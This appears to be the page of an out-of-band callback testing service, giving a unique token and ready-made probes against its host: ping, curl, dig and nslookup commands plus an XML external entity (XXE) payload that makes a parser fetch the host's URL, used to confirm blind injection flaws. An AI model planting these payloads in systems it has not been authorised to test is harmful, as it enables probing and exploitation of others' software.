$ ping -c1 -p 00c90954ba80a52c2c07cdde730ead00 unhack.ca
 
$ curl http://unhack.ca/p/c90954ba80a52c2c07cdde730ead
 
$ dig c90954ba80a52c2c07cdde730ead @unhack.ca
 
$ dig c90954ba80a52c2c07cdde730ead.ns.unhack.ca
 
C:\> nslookup c90954ba80a52c2c07cdde730ead unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c90954ba80a52c2c07cdde730ead">]>
    <foo>&xxe;</foo>
Waiting for ping...